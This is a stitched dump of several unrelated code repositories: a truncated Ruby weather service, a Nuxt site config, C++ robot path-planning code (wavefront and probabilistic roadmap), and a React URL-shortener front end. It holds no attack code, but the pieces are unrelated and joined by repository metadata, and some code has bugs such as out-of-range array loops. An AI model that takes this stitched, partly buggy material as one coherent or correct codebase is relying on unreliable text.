x["uvIndex"], feels_like: x["apparentTemperature"] } end def hourly x = get_json['hourly']['data'][0..7].map do |hour| { time: hour["time"], temperature: hour["temperature"] } end end def daily x = get_json['daily']['data'][0..4].map do |day| { summary: day['summary'], icon: day['icon'], precip_prob: day['precipProbability'], precip_type: day['precipType'], high_temp: day['temperatureHigh'], low_temp: day['temperatureLow'], day: Time.at(day['time']) } end end def future_forecast key = ENV['DARK_SKY_KEY'] connection.get("/forecast/#{key}/#{@lat},#{@lng},#{@time}") end private def get_json JSON.parse(connection.get("/forecast/#{key}/#{@lat},#{@lng}")) end def connection key = ENV['DARK_SKY_KEY'] return @conn if @conn @conn = Faraday.new(url: "https://api.darksky.net/") do |f| f.adapter Faraday.default_adapter end end end<file_sep>require 'rails_helper' RSpec.describe "GeoLocationService" do it "gives the latitude and longitude for a given city" do address = "denver,co" coordinates = GeoLocationService.new(address) geo_lat = coordinates.latitude geo_lng = coordinates.longitude expect(geo_lat).to eq(39.7392358) expect(geo_lng).to eq(-104.990251) end end<file_sep>class BackgroundSerializer include FastJsonapi::ObjectSerializer attributes :image end<file_sep>class RoadTripSerializer include FastJsonapi::ObjectSerializer attributes :start_location, :end_location, :travel_time, :forecast end
10e8d98482b1d4246649eef6efa3031bb9d76a53
[ "Markdown", "Ruby" ]
20
Ruby
philjdelong/sweater_weather
6626b0be562ad00340176e071b50454a4b833957
9818d56f483a51660c71b5f294e96771e345c1de
refs/heads/master
<repo_name>justinekro/cocktail-idea<file_sep>/nuxt.config.js export default { server: { port: 8600 }, // Global page headers (https://go.nuxtjs.dev/config-head) head: { __dangerouslyDisableSanitizers: ['script'], htmlAttrs: { lang: 'en' }, title: 'AppHero - Random cocktail', meta: [ { charset: 'utf-8' }, { name: 'viewport', content: 'width=device-width, initial-scale=1' }, { name: 'keywords', content: 'whisky, run, champagne, vodka, gin'}, { hid: 'description', name: 'description', content: 'Random cocktail' }, { hid: 'og:description', property: 'og:description', name: 'og:description', content: 'Random cocktail' }, { hid: 'twitter:description', property: 'twitter:description', name: 'twitter:description', content: 'Random cocktail' }, { hid: 'og:type', property: 'og:type', name: 'og:type', content: 'website' }, { hid: 'og:url', property: 'og:url', name: 'og:url', content: 'http://apphero.rakura.fr/' }, { hid: 'og:title', property: 'og:title', name: 'og:title', content: 'AppHero - Random cocktail' }, { hid: 'twitter:site', name: 'twitter:site', content: 'apphero.rakura.fr' }, { hid: 'twitter:creator', name: 'twitter:creator', content: 'AppHero' }, { hid: 'twitter:title', property: 'twitter:title', name: 'twitter:title', content: 'AppHero - Random cocktail' }, { hid: 'og:site_name', property: 'og:site_name', name: 'og:site_name', content: 'apphero.rakura.fr' }, { hid: 'og:locale', property: 'og:locale', name: 'og:locale', content: 'fr' }, { hid: 'og:image', property: 'og:image', name: 'og:image', content: 'http://apphero.rakura.fr/favicon.ico' }, { hid: 'twitter:image', property: 'twitter:image', name: 'twitter:image', content: 'http://apphero.rakura.fr/favicon.ico' }, { hid: 'twitter:card', property: 'twitter:card', name: 'twitter:card', content: 'summary_large_image' }, { name: 'msapplication-TileColor', content: '#F5F5F5' }, { name: 'theme-color', content: '#F5F5F5' } ], link: [ { rel: 'icon', type: 'image/x-icon', href: '/favicon.ico' } ] }, loading: { color: '#252525' }, // Global CSS (https://go.nuxtjs.dev/config-css) css: [ ], // Plugins to run before rendering page (https://go.nuxtjs.dev/config-plugins) plugins: [ ], // Auto import components (https://go.nuxtjs.dev/config-components) components: true, // Modules for dev and build (recommended) (https://go.nuxtjs.dev/config-modules) buildModules: ['@nuxtjs/vuetify'], vuetify: { treeShake: true, defaultAssets: { font: { family: 'Poppins' } } }, // Modules (https://go.nuxtjs.dev/config-modules) modules: [ '@nuxtjs/axios' ], // Build Configuration (https://go.nuxtjs.dev/config-build) build: { } }
832b8eea203d791768c465da56838d0365ecd06c
[ "JavaScript" ]
1
JavaScript
justinekro/cocktail-idea
59953007df5759c57de31915adf31a9e341f9dbb
30ed2806a9b193f1938958cdd26027da71a44467
refs/heads/master
<repo_name>muhammadsidd/Robotics-and-AI<file_sep>/README.md # Robotics-and-AI<file_sep>/wavefront.cpp #include <iostream> #include <fstream> #include <sstream> #include <math.h> #include <queue> #include <vector> using namespace std; int main() { string line; int xupper; int xlower; int yupper; int ylower; int zupper; int zlower; int obs1x, obs1y, obs1z, edge1; int obs2x, obs2y, obs2z, edge2; int obs3x, obs3y, obs3z, edge3; int obs4x, obs4y, obs4z, edge4; int startx, starty, startz; int goalx, goaly, goalz; string filename; ifstream input_file; cout << "Please enter file name." << endl; cin >> filename; input_file.open(filename); while (input_file) { input_file >> xlower >> xupper >> ylower >> yupper >> zlower >> zupper >> obs1x >> obs1y >> obs1z >> edge1 >> obs2x >> obs2y >> obs2z >> edge2 >> obs3x >> obs3y >> obs3z >> edge3 >> obs4x >> obs4y >> obs4z >> edge4 >> startx >> starty >> startz >> goalx >> goaly >> goalz; } input_file.close(); cout << "here is the cofigration space\n" << xlower << " " << xupper << "\n" << ylower << " " << yupper << "\n" << zlower << " " << zupper << "\n" << obs1x << " " << obs1y << " " << obs1z << " " << edge1 << "\n" << obs2x << " " << obs2y << " " << obs2z << " " << edge2 << "\n" << obs3x << " " << obs3y << " " << obs3z << " " << edge3 << "\n" << obs4x << " " << obs4y << " " << obs4z << " " << edge4 << "\n" << startx << " " << starty << " " << startz << "\n" << goalx << " " << goaly << " " << goalz << "\n"; int cspace[xupper - xlower][yupper - ylower][zupper - zlower]; int startpoint = cspace[startx][starty][startz]; int goal = cspace[goalx][goaly][goalz]; int obsticle1 = cspace[obs1x][obs1y][obs1z]; int r; int c; int h; int dr[26] = {-1, 1, 0, -1, 1, 0, -1, 1, 0, -1, 1, 0, -1, 1, 0, -1, 1, 0, -1, 1, 0, -1, 1, 0, -1, 1}; int dc[26] = {0, 0, -1, -1, -1, 1, 1, 1, 0, 0, 0, -1, -1, -1, 1, 1, 1, 0, 0, 0, -1 - 1 - 1, 1, 1, 1}; int dh[26] = {0, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, 1, 1, 1, 1, 1, 1, 1, 1, 1}; bool reach_end = false; cspace[goalx][goaly][goalz] = 2; for (int i = (obs1x - ((edge1 / 2) + 1)); i < ((edge1 / 2) + 1) + (obs1x); i++) { for (int j = (obs1y - ((edge1 / 2) + 1)); j < ((edge1 / 2) + 1) + obs1y; j++) { for (int k = (obs1z - ((edge1 / 2) + 1)); k < ((edge1 / 2) + 1) + obs1z; k++) { cspace[i][j][k] = -1; } } } for (int i = (obs2x - ((edge1 / 2) + 1)); i < ((edge2 / 2)+1) + obs2x; i++) { for (int j = ((obs2y) - ((edge2 / 2) + 1)); j < ((edge2 / 2)+1) + obs2x; j++) { for (int k = (obs2z - ((edge2 / 2) + 1)); k < ((edge2 / 2)+1) + (obs2z); k++) { cspace[i][j][k] = -1; } } } for (int i = xlower; i < xupper; i++) { for (int j = ylower; j < yupper; j++) { for (int k = zlower; k < zupper; k++) { if (pow((i - obs3x), 2) + (pow((j - obs3y), 2)) + (pow((k - obs3z), 2)) <= (int)((pow(edge3, 2) + 1))) { cspace[i][j][k] = -1; } } } } for (int i = xlower; i < xupper - 1; i++) { for (int j = ylower; j < yupper - 1; j++) { for (int k = zlower; k < zupper - 1; k++) { if (pow((i - obs4x), 2) + (pow((j - obs4y), 2)) + (pow((k - obs4z), 2)) <= (int)((pow(edge4, 2) + 1))) { cspace[i][j][k] = -1; } } } } cout << "Creating a file 'populatingWorld.txt' with obsticles please wait " << endl; ofstream myfile1; myfile1.open("populatingWorld.txt"); for (int a = xlower; a < xupper - 1; a++) { for (int b = ylower; b < yupper - 1; b++) { for (int c = zlower; c < zupper - 1; c++) { myfile1 << cspace[a][b][c] << " "; } } } myfile1.close(); queue<int> rq; queue<int> cq; queue<int> hq; int rr; int cc; int hh; rq.push(goalx); cq.push(goaly); hq.push(goalz); cout << "generating a wavefront file to avoid obsticles in 'wavefront.txt' " << endl; ofstream myfile2; myfile2.open("wavefront.txt"); bool visited = true; while (rq.size() > 0) { r = rq.front(); rq.pop(); c = cq.front(); cq.pop(); h = hq.front(); hq.pop(); for (int i = 0; i < 27; i++) { rr = r + dr[i]; cc = c + dc[i]; hh = h + dh[i]; if (rr < 0 || cc < 0 || hh < 0) { continue; } else if (rr >= xupper || cc >= yupper || hh >= zupper) { continue; } else if (cspace[rr][cc][hh] != 0 || cspace[rr][cc][hh] == -1) { continue; } else { cspace[rr][cc][hh] = cspace[r][c][h] + 1; rq.push(rr); cq.push(cc); hq.push(hh); } } } for (int a = xlower; a < xupper - 1; a++) { for (int b = ylower; b < yupper - 1; b++) { for (int c = zlower; c < zupper - 1; c++) { myfile2 << cspace[a][b][c] << " "; } } myfile2 << endl; } myfile2.close(); cout << "writing to file the 'segment.txt'. please wait..." << endl; ofstream myfile; myfile.open("segment.txt"); myfile << startx<<","<<starty<<","<<startz<<endl; rq.push(startx); cq.push(starty); hq.push(startz); int smallest; cout<<startx<<starty<<startz; while (rq.size() > 0) { r = rq.front(); rq.pop(); c = cq.front(); cq.pop(); h = hq.front(); hq.pop(); smallest = cspace[r][c][h]; for (int i = 0; i < 27; i++) { rr = r + dr[i]; cc = c + dc[i]; hh = h + dh[i]; if (rr < 0 || cc < 0 || hh < 0) { continue; } else if (rr >= xupper || cc >= yupper || hh >= zupper) { continue; } else if (cspace[rr][cc][hh] == -1) { continue; } else if (smallest > cspace[rr][cc][hh] && rr <goalx && cc<goaly && hh< goaly ) { rq.push(rr); cq.push(cc); hq.push(hh); myfile << rr << "," << cc << "," << hh << endl; break; } } /*if (rr == goalx && cc == goaly && hh == goalz){ myfile << rr << "," << cc << "," << hh << endl; }*/ } myfile << goalx << "," << goaly << "," << goalz << endl; myfile.close(); }<file_sep>/Prm.cpp #include <iostream> #include <fstream> #include <sstream> #include <math.h> #include <queue> #include <vector> #include "Graph.hpp" #define infinity 10000000 using namespace std; vector<vector<vector<int>>> World; unsigned long shortestPath(Graph &tree, Vertex &StartNode, Vertex &EndNode, vector<Vertex> &path); int distance(int x, int y, int z, int x2, int y2, int z2); bool path_exists(vector<vector<vector<int>>> &space, Vertex A_, Vertex B_); int main() { string line; int xupper; int xlower; int yupper; int ylower; int zupper; int zlower; int obs1x, obs1y, obs1z, edge1; int obs2x, obs2y, obs2z, edge2; int obs3x, obs3y, obs3z, edge3; int obs4x, obs4y, obs4z, edge4; int startx, starty, startz; int goalx, goaly, goalz; string filename; ifstream input_file; cout << "Please enter file name." << endl; cin >> filename; input_file.open(filename); while (input_file) { input_file >> xlower >> xupper >> ylower >> yupper >> zlower >> zupper >> obs1x >> obs1y >> obs1z >> edge1 >> obs2x >> obs2y >> obs2z >> edge2 >> obs3x >> obs3y >> obs3z >> edge3 >> obs4x >> obs4y >> obs4z >> edge4 >> startx >> starty >> startz >> goalx >> goaly >> goalz; } input_file.close(); cout << "here is the cofigration space\n" << xlower << " " << xupper << "\n" << ylower << " " << yupper << "\n" << zlower << " " << zupper << "\n" << obs1x << " " << obs1y << " " << obs1z << " " << edge1 << "\n" << obs2x << " " << obs2y << " " << obs2z << " " << edge2 << "\n" << obs3x << " " << obs3y << " " << obs3z << " " << edge3 << "\n" << obs4x << " " << obs4y << " " << obs4z << " " << edge4 << "\n" << startx << " " << starty << " " << startz << "\n" << goalx << " " << goaly << " " << goalz << "\n"; World.resize((xupper - xlower) + 2); for (int i = 0; i < ((xupper - xlower) + 2); i++) { World.at(i).resize((yupper - ylower) + 2); for (int j = 0; j < ((yupper - ylower) + 2); j++) { World.at(i).at(j).resize((zupper - zlower) + 2); } } for (int i = (obs1x - ((edge1 / 2))); i < ((edge1 / 2)) + (obs1x); i++) { for (int j = (obs1y - ((edge1 / 2))); j < ((edge1 / 2)) + obs1y; j++) { for (int k = (obs1z - ((edge1 / 2))); k < ((edge1 / 2)) + obs1z; k++) { World.at(i).at(j).at(k) = -1; } } } for (int i = (obs2x - ((edge1 / 2) + 1)); i < ((edge2 / 2)) + obs2x; i++) { for (int j = ((obs2y) - ((edge2 / 2))); j < ((edge2 / 2)) + obs2x; j++) { for (int k = (obs2z - ((edge2 / 2))); k < ((edge2 / 2)) + (obs2z); k++) { World.at(i).at(j).at(k) = -1; } } } for (int i = xlower; i < xupper; i++) { for (int j = ylower; j < yupper; j++) { for (int k = zlower; k < zupper; k++) { if (pow((i - obs3x), 2) + (pow((j - obs3y), 2)) + (pow((k - obs3z), 2)) <= (int)((pow(edge3, 2) + 1))) { World.at(i).at(j).at(k) = -1; } } } } for (int i = xlower; i < xupper - 1; i++) { for (int j = ylower; j < yupper - 1; j++) { for (int k = zlower; k < zupper - 1; k++) { if (pow((i - obs4x), 2) + (pow((j - obs4y), 2)) + (pow((k - obs4z), 2)) <= (int)((pow(edge4, 2) + 1))) { World.at(i).at(j).at(k) = -1; } } } } int len = 3000; int neigh = 5; int dist = 8; int x; int y; int z; Graph tree; Vertex FirstNode; Vertex LastNode; FirstNode.labelx = startx; FirstNode.labely = starty; FirstNode.labelz = startz; LastNode.labelx = goalx; LastNode.labely = goaly; LastNode.labelz = goalz; tree.addVertex(FirstNode.labelx, FirstNode.labely, FirstNode.labelz); while (tree.vertices.size() < len) { x = rand() % (xupper + xlower); y = rand() % (yupper + ylower); z = rand() % (zupper + zlower); if (World.at(x).at(y).at(z) == -1 && World.at(x).at(y).at(z) != 0) { continue; } else { World.at(x).at(y).at(z) = 2; Vertex vertex; vertex.labelx = x; vertex.labely = y; vertex.labelz = z; tree.addVertex(vertex.labelx, vertex.labely, vertex.labelz); } } tree.addVertex(LastNode.labelx, LastNode.labely, LastNode.labelz); cout << "Linking Vertices please wait .. Getting Neighboring Vertices and Adding Edges" << endl; vector<Vertex> nei; int getdist_ = 0 ; for (Vertex vert : tree.vertices) { nei = tree.getNeighbors(vert, dist, neigh); for (Vertex v : nei) { if (path_exists(World, vert, v) == true) { getdist_ = distance(vert.labelx,vert.labely, vert.labelz, v.labelx, v.labely, v.labelz); tree.addEdge(vert, v, getdist_); } } } ofstream myfile1; myfile1.open("Edges.txt"); for (Edge e : tree.edges) { myfile1 << e.A.labelx << "," << e.A.labely << "," << e.A.labelz <<endl; myfile1 << e.B.labelx << "," << e.B.labely << "," << e.B.labelz <<endl; } ofstream myfile; myfile.open("Neighbors.txt"); for (Vertex v : tree.vertices) { myfile << v.labelx << "," << v.labely << "," << v.labelz << endl; } vector<Vertex>path; tree.shortestPath(FirstNode,LastNode,path); ofstream myfile4; myfile4.open("linesegment.txt"); for(int i=0; i< path.size(); i++){ myfile4<<path.at(i).labelx<<","<< path.at(i).labely<<","<<path.at(i).labelz<< endl; } } bool path_exists(vector<vector<vector<int>>> &space, Vertex A_, Vertex B_) { int x0 = A_.labelx; int y0 = A_.labely; int z0 = A_.labelz; int x1 = B_.labelx; int y1 = B_.labely; int z1 = B_.labelz; int distx, disty, distz; distx = x1 - x0; disty = y1 - y0; distz = z1 - z0; double normal = sqrt((pow(distx, 2) + pow(disty, 2) + pow(distz, 2))); double normx = (distx / normal); double normy = (disty / normal); double normz = (distz / normal); int delta = 2; double magnitude_X = x0 + (normx * delta); double magnitude_Y = y0 + (normy * delta); double magnitude_z = z0 + (normz * delta); int ans = ceil(distance(x0, y0, z0, magnitude_X, magnitude_Y, magnitude_z)); int ans2 = ceil(distance(x0, y0, z0, x1, y1, z1)); while (ans < ans2) { if (space.at(magnitude_X).at(magnitude_Y).at(magnitude_z) == -1) { return false; } delta = delta + 2; magnitude_X = x0 + (normx * delta); magnitude_Y = y0 + (normy * delta); magnitude_z = z0 + (normz * delta); ans = ceil(distance(x0, y0, z0, magnitude_X, magnitude_Y, magnitude_z)); } return true; } int distance(int x, int y, int z, int x2, int y2, int z2) { return ceil(sqrt(pow((x2 - x), 2) + pow((y2 - y), 2) + pow((z2 - z), 2))); } <file_sep>/Graph.hpp #ifndef GRAPH_H #define GRAPH_H #include <vector> #include <string> #include <queue> #include <utility> using namespace std; class Vertex { public: int labelx; int labely; int labelz; unsigned long minDist; vector<Vertex> shortestPath; bool visited; }; class Edge { public: Vertex A; Vertex B; int w; }; class Graph { friend class Vertex; friend class Edge; public: void addVertex(int labelx, int labely, int labelz); void addEdge(Vertex A, Vertex B, int w); vector<Vertex> vertices; vector<Edge> edges; vector<Vertex> getNeighbors(Vertex a_,int distance, int numberOfNeigh); int distance(int x, int y, int z, int x2, int y2, int z2); void shortestPath(const Vertex start, const Vertex end, vector<Vertex>& path); }; #endif <file_sep>/Graph.cpp #include "Graph.hpp" #include <math.h> #include<iostream> //setting up constructor for the edge class //deallocating dynamic memory through deconstructor void Graph::addVertex(int labelx_, int labely_, int labelz_) { Vertex newVertex; //add Vertex newVertex.labelx = labelx_; newVertex.labely = labely_; //set value of the vertex point newVertex.labelz = labelz_; //flag variable turned off as it is not yet visited newVertex.minDist = 0x3f3f3f3f; //setting the distance to infinity because it is not yet connected to anything newVertex.visited = false; vertices.push_back(newVertex); //add to the vertices vector } vector<Vertex> Graph::getNeighbors(Vertex A_, int dist, int num) {int a; vector<Vertex> Neighbors; while (Neighbors.size() < num) { for (Vertex vert : vertices) { if ((vert.labelx != A_.labelx) && (vert.labely != A_.labely) && (vert.labelz != A_.labelz)) { a = distance(A_.labelx, A_.labely, A_.labelz, vert.labelx, vert.labely, vert.labelz); //cout<<"this is the dist "<<a<<endl; //break; if (a <= dist) { Neighbors.push_back(vert); } } //cout<<"what?"<<endl; } //cout<<"listen"<<endl; //break; } return Neighbors; } int Graph::distance(int x, int y, int z, int x2, int y2, int z2) { int answer; //cout<<z<<z2<<endl; answer =ceil(sqrt(pow((x2 - x), 2) + pow((y2 - y), 2) + pow((z2 - z), 2))); //cout<<answer; return answer; } //method to connect the edges void Graph::addEdge(Vertex A_, Vertex B_, int dist) { //connect edge to vertex Edge edge; edge.A = A_; edge.B = B_; edge.w = dist; edges.push_back(edge); } void Graph::shortestPath(const Vertex start, const Vertex end, vector<Vertex>& path) { //set the start point to the value inserted by the user for (unsigned int i = 0; i < vertices.size(); i++) { if (vertices.at(i).labelx == start.labelx && vertices.at(i).labely == start.labely && vertices.at(i).labelz == start.labelz ) { vertices.at(i).minDist = 0; vertices.at(i).shortestPath.clear(); vertices.at(i).shortestPath.push_back(start); //start ipoint set with distance 0 } } //put the paths visited in the priority queue queue<Vertex> shortPaths; //make the first pair shortPaths.push(start); do { Vertex minElem = shortPaths.front();//move to the top shortPaths.pop(); //remove it int minVertexIndex; for (unsigned int i = 0; i < vertices.size(); i++) { if (vertices.at(i).labelx == minElem.labelx &&vertices.at(i).labely == minElem.labely &&vertices.at(i).labelz == minElem.labelz) { minVertexIndex = i; } } for (unsigned int j = 0; j < edges.size(); j++) { if (edges.at(j).A.labelx == minElem.labelx && edges.at(j).A.labely == minElem.labely && edges.at(j).A.labelz == minElem.labelz) { for (unsigned int k = 0; k < vertices.size(); k++) { //if the smallest path is available then update the current weight to the new weight and add the min distance to the weight if ((edges.at(j).B.labelx == vertices.at(k).labelx && edges.at(j).B.labely == vertices.at(k).labely && edges.at(j).B.labelz == vertices.at(k).labelz) && ((vertices.at(minVertexIndex).minDist + edges.at(j).w) < vertices.at(k).minDist) && (vertices.at(k).visited == false)) { vertices.at(k).minDist = vertices.at(minVertexIndex).minDist + edges.at(j).w; if (minElem.labelx == start.labelx && minElem.labely == start.labely &&minElem.labelz == start.labelz) { vertices.at(k).shortestPath.clear(); vertices.at(k).shortestPath.push_back(start); } else { vertices.at(k).shortestPath.clear(); vertices.at(k).shortestPath = vertices.at(minVertexIndex).shortestPath; vertices.at(k).shortestPath.push_back(vertices.at(minVertexIndex)); } shortPaths.push(vertices.at(k)); } } } } vertices.at(minVertexIndex).visited = true; //once the node/vertex is visited it is added to the list of shortest path and never visited again }while (!shortPaths.empty()); //do this until the list is complete for (unsigned int i = 0; i < vertices.size(); i++) { if (end.labelx == vertices.at(i).labelx && end.labely == vertices.at(i).labely && end.labelz == vertices.at(i).labelz) { //shortestDist = vertices.at(i).minDist; vertices.at(i).shortestPath.push_back(end); path = vertices.at(i).shortestPath; } } }
3bd20c33c61169aa3156d32a7ccfa6ecafd2e910
[ "Markdown", "C++" ]
5
Markdown
muhammadsidd/Robotics-and-AI
ff52f14236f9248e9cbadb3ca509417cb05e0ac8
7eb404167bc51fcc0955c8bfa18de0526fbf5d53
refs/heads/master
<file_sep>package cn.edu.tit.bean; //报名材料 public class Material { private String materialId; private String recruitId; private String openId; private String accessory; //附件 public String getMaterialId() { return materialId; } public void setMaterialId(String materialId) { this.materialId = materialId; } public String getRecruitId() { return recruitId; } public void setRecruitId(String recruitId) { this.recruitId = recruitId; } public String getOpenId() { return openId; } public void setOpenId(String openId) { this.openId = openId; } public String getAccessory() { return accessory; } public void setAccessory(String accessory) { this.accessory = accessory; } @Override public String toString() { return "Material [materialId=" + materialId + ", recruitId=" + recruitId + ", openId=" + openId + ", accessory=" + accessory + "]"; } public Material(String materialId, String recruitId, String openId, String accessory) { super(); this.materialId = materialId; this.recruitId = recruitId; this.openId = openId; this.accessory = accessory; } public Material() { super(); // TODO Auto-generated constructor stub } }
dbbfc40a0323c884af8295178485c1404340ff45
[ "Java" ]
1
Java
ly-wenli/recruit_info
2dfa432981369dac96d725eb9cbb217ae37dd801
bd88f1d1c84d8158887daa297f7a3488f8b4b8da
refs/heads/main
<file_sep>import pandas as pd from bs4 import BeautifulSoup as bs from splinter import Browser def scrape_main(): executable_path = {"executable_path": "../chromedriver.exe"} browser = Browser("chrome", **executable_path, headless=False) news_title, news_p = scrape_mars_news(browser) scrape_results = { "news_title": news_title, "news_paragraph": news_p, "featured_image": scrape_featured_img(browser), "mars_facts": scrape_mars_facts(browser), "hemispheres": scrape_hemispheres(browser) } browser.quit() return scrape_results def scrape_mars_news(browser): #nasa url nasa_url = "https://mars.nasa.gov/news/" #open url in chrome browser.visit(nasa_url) html = browser.html soup = bs(html, "html.parser") try: #find first article on site first_article = soup.select_one("ul.item_list li.slide") #select title news_title = first_article.find("div", class_="content_title").get_text() #select paragraph news_p = first_article.find("div", class_="article_teaser_body").get_text() except: return None, None return news_title, news_p def scrape_featured_img(browser): #image url image_url = "https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars" #open url in chrome browser.visit(image_url) try: #find button fullimagebutton = browser.find_by_id("full_image") #click button fullimagebutton.click() #find next button and click more_info = browser.links.find_by_partial_text("more info") more_info.click() #find image fullimage = soup.select_one("img", class_="main_image") except: return None return fullimage def scrape_mars_facts(browser): #mars facts url mars_url = "https://space-facts.com/mars/" #create table mars_facts = pd.read_html(mars_url) #create dataframe and set index mars_df = mars_facts[0] mars_df.columns = ['Description', 'Value'] mars_df.set_index('Description', inplace=True) return mars_df.to_html(classes="table table-striped") def scrape_hemispheres(browser): #mars hemisphere url hemisphere_url = "https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars" #open url browser.visit(hemisphere_url) try: #create list for urls hemisphere_image_urls = [] #create base url base_url= (hemisphere_url.split('/search'))[0] links = browser.find_by_css("a.product-item h3") for l in range(len(links)): hemisphere = {} browser.find_by_css("a.product-item h3")[l].click() sample_link = browser.links.find_by_text('Sample').first hemisphere['url'] = sample_link['href'] hemisphere['title'] = browser.find_by_css('h2.title').text hemisphere_image_urls.append(hemisphere) browser.back() except: return None return hemisphere_image_urls if __name__ == "__main__": print(scrape_main())
8368bb34ec338316a47c801326521af9a84038b9
[ "Python" ]
1
Python
rebeccaruth/web-scraping-challenge
1615286fd3844dd988c5962e9709bd9607ba4021
d7472ac873255808de29fa8a9915aaf9386233fa
refs/heads/master
<file_sep>import { useState, useEffect } from "react"; import shareLogo from "../images/shareLogo.svg"; import { Container, Row, Col, Button, InputGroup, FormControl, Image, Form, } from "react-bootstrap"; import { faSyncAlt } from "@fortawesome/free-solid-svg-icons"; import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; import Results from "./Results"; const validator = require("../helpers/urlValidator"); const axios = require("axios").default; var hostToPost = "https://shurl.hasanarif.com/shrink"; function Home() { const [longUrl, setLongUrl] = useState(""); const localStorageValue = JSON.parse( localStorage.getItem("shrinkenUrlHistory") ); const [customCode, setCustomCode] = useState(""); const [shortenUrls, setShortenUrls] = useState(localStorageValue || []); const [inputIsInValid, setInputIsInValid] = useState(false); const [errorMessages, seterrorMessages] = useState(""); const [codeIsTaken, setCodeIsTaken] = useState(false); useEffect(() => { localStorage.setItem("shrinkenUrlHistory", JSON.stringify(shortenUrls)); if (longUrl !== "") { setInputIsInValid(false); } }, [shortenUrls, longUrl]); const handleUrlChange = (e) => { if (longUrl !== "") { setInputIsInValid(false); setCodeIsTaken(false); } setLongUrl(e.target.value); }; const handleCustomCodeChange = (e) => { setCustomCode(e.target.value); }; const handleSubmit = (e) => { e.preventDefault(); if (longUrl === "") { seterrorMessages("URL field is required!"); setInputIsInValid(true); return; } else if (!validator(longUrl)) { seterrorMessages("This URL is not valid!"); setInputIsInValid(true); return; } axios .post(hostToPost, { longUrl: longUrl, customCode: customCode, }) .then((response) => { const { longUrl, urlCode } = response.data; setCodeIsTaken(false); var shortUrl = `https://shrinkly.me/${urlCode}`; //saved only last three items //in the history if (shortenUrls.length > 2) { shortenUrls.shift(); } setShortenUrls([ ...shortenUrls, { lngUrl: longUrl, shrtUrl: shortUrl }, ]); }) .catch((error) => { if (error.response.status === 409) { seterrorMessages(error.response.data); setCodeIsTaken(true); } }); }; return ( <> <Container className="main-page-container"> <Row className="align-items-center main-page-row"> <Col> <div className="brand-name">Shrinkly.me</div> <div className="brand-details"> A smart and simple tool to share your link. </div> <InputGroup className="mt-3"> <FormControl value={longUrl} name="longUrl" onChange={handleUrlChange} placeholder="Your long url..." aria-label="Long url" aria-describedby="long url input" isInvalid={inputIsInValid} /> <InputGroup.Append> <Button onClick={handleSubmit} variant="outline-secondary"> Shrink </Button> </InputGroup.Append> <Form.Control.Feedback type="invalid"> {errorMessages} </Form.Control.Feedback> </InputGroup> <div className="brand-name text-center"> <FontAwesomeIcon icon={faSyncAlt} /> </div> <div className="brand-details">Or make your custom link</div> <InputGroup className="mb-3"> <InputGroup.Prepend> <InputGroup.Text id="basic-addon3"> https://Shrinkly.me/ </InputGroup.Text> </InputGroup.Prepend> <FormControl id="basic-url" value={customCode} name="customCode" onChange={handleCustomCodeChange} aria-describedby="basic-addon3" isInvalid={codeIsTaken} /> <Form.Control.Feedback type="invalid"> {errorMessages} </Form.Control.Feedback> </InputGroup> </Col> <Col xs={6} md={4} className="hero-image"> <Image src={shareLogo} fluid /> </Col> </Row> <Row> <Col xs={12} md={8} lg={6}> {shortenUrls.length > 0 && <Results history={shortenUrls} />} </Col> </Row> </Container> </> ); } export default Home; <file_sep>import "./App.css"; import { BrowserRouter as Router, Switch, Route } from "react-router-dom"; import Header from "./components/Header"; import Home from "./components/Home"; import Features from "./components/Features"; import Pricing from "./components/Pricing"; import Login from "./components/Login"; import Register from "./components/Register"; import Redirects from "./components/Redirects"; function App() { return ( <Router> <Header /> <Switch> <Route exact path="/features"> <Features /> </Route> <Route exact path="/pricing"> <Pricing /> </Route> <Route exact path="/login"> <Login /> </Route> <Route exact path="/register"> <Register /> </Route> <Route exact path="/"> <Home /> </Route> <Route path="/:id"> <Redirects /> </Route> </Switch> </Router> ); } export default App; <file_sep>import { Container, Row, Col } from "react-bootstrap"; import "./Pricing.css"; export default function Pricing() { return ( <Container className="mt-3"> <Row> <Col xs={6} md={4}> <div className="card mb-4 box-shadow"> <div className="card-header"> <h4 className="my-0 font-weight-normal">Free</h4> </div> <div className="card-body"> <h1 className="card-title pricing-card-title"> $0 <small className="text-muted">/ mo</small> </h1> <ul className="list-unstyled mt-3 mb-4"> <li>10 users included</li> <li>2 GB of storage</li> <li>Email support</li> <li>Help center access</li> </ul> <button type="button" className="btn green-bg"> Start Trial </button> </div> </div> </Col> <Col xs={6} md={4}> <div className="card mb-4 box-shadow"> <div className="card-header"> <h4 className="my-0 font-weight-normal">Pro</h4> </div> <div className="card-body"> <h1 className="card-title pricing-card-title featured"> $10 <small className="featured">/ mo</small> </h1> <ul className="list-unstyled mt-3 mb-4"> <li>10 users included</li> <li>2 GB of storage</li> <li>Email support</li> <li>Help center access</li> </ul> <button type="button" className="btn red-bg"> Get Pro </button> </div> </div> </Col> <Col xs={6} md={4}> <div className="card mb-4 box-shadow"> <div className="card-header"> <h4 className="my-0 font-weight-normal ">Pro Max</h4> </div> <div className="card-body"> <h1 className="card-title pricing-card-title featured"> $20 <small className="featured">/ mo</small> </h1> <ul className="list-unstyled mt-3 mb-4"> <li>10 users included</li> <li>2 GB of storage</li> <li>Email support</li> <li>Help center access</li> </ul> <button type="button" className="btn red-bg"> Get Pro Max </button> </div> </div> </Col> </Row> </Container> ); } <file_sep>import { Container, Row, Image } from "react-bootstrap"; import underCo from "../images/underCo.png"; export default function Register() { return ( <Container> <Row> <Image src={underCo} fluid /> </Row> </Container> ); } <file_sep>import { useParams } from "react-router-dom"; export default function Redirects() { let { id } = useParams(); return <>{console.log(id)}</>; } <file_sep># Getting Started with Shrinky.me This project was created using MERN Stack. This website help you to reduce huge link, make it smaller. ## How to use Head over to [Shrinkly.me](https://www.shrinkly.me/). Copy you huge link and paste into the long url field and press the Shrink button. ## Custom link You also can make your shorten link as like as you want(if it is available)
ee423e5eedecc1f181265a1ae774e007d304fb77
[ "JavaScript", "Markdown" ]
6
JavaScript
ihasanmdarif/shrinkly.me
cfba275aad5d98e5cf57918781a99fcfa3aaf642
f86e0d69676b5a70669dcfe993bdf81879dc3dc9
refs/heads/main
